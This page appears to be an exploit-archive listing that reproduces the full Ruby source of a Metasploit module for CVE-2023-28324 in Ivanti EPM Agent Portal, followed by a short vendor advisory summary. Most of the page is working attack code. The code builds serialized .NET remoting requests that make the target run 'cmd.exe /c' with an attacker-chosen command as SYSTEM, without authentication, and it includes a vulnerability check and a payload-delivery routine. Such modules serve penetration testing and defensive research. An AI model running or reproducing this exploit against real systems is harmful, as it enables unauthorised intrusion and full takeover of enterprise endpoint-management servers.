Headline
Ivanti EPM Agent Portal Command Execution
This Metasploit module leverages an unauthenticated remote command execution vulnerability in Ivanti’s EPM Agent Portal where an RPC client can invoke a method which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.
# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-frameworkrequire 'rex/proto/ms_nrtp/client'class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::Tcp Rank = ExcellentRanking def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti EPM Agent Portal Command Execution', 'Description' => %q{ This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2. }, 'Author' => [ 'James Horseman', # original poc 'Zach Hanley', # original poc 'Spencer McIntyre' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-28324'], ['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'], ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'], ], 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-06-07', # Ivanti article created date 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options([ Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'), ]) deregister_options('SSL') end def check cwd = execute_command('echo %cd%', 0) return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}") rescue Rex::SocketError => e CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}") end def exploit execute_command(payload.raw) end def execute_command(command, result_delay = -1) if @nrtp_client.nil? @nrtp_client = client = IAgentPortal.new( datastore['RHOST'], datastore['RPORT'], 'LANDeskAgentPortal/LDSM', context: { 'Msf' => framework, 'MsfExploit' => self } ) client.connect vprint_status('Connected to the remote end point') else client = @nrtp_client end client.do_request(command) return nil unless result_delay >= 0 sleep result_delay client.do_get_result endendclass IAgentPortal < Rex::Proto::MsNrtp::Client def recv_binary Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv) end def send_recv_binary(serialized_stream) send_binary(serialized_stream) recv_binary end def do_request(shell_command) ss_response = send_recv_binary(ss_request(shell_command)) method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] } method_return.record_value.return_value.val.value end def do_get_result ss_response = send_recv_binary(ss_get_result) ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] } return nil unless ass ass.record_value.members.first.record_value.string.value end private def ss_get_result Msf::Util::DotNetDeserialization::Types::SerializedStream.new({ records: [ { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall], record_value: { message_enum: { no_context: 1, args_inline: 1 }, method_name: 'GetResult', type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb', args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }] } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] } ] }) end def ss_request(shell_command) Msf::Util::DotNetDeserialization::Types::SerializedStream.new({ records: [ { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall], record_value: { message_enum: { method_signature_in_array: 1, no_context: 1, args_in_array: 1 }, method_name: 'Request', type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes], record_value: { class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] }, member_type_info: { binary_type_enums: [0], additional_infos: [8] }, library_id: 11, member_values: [1] } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes], record_value: { class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] }, member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] }, member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }] } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId], record_value: { obj_id: 9, metadata_id: 8, member_values: [ { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } }, 4, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } } ] } }, { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} } ] }) endend
Related news
CVE-2023-28324: Ivanti Community
A improper input validation vulnerability exists in Ivanti Endpoint Manager 2022 and below that could allow privilege escalation or remote code execution.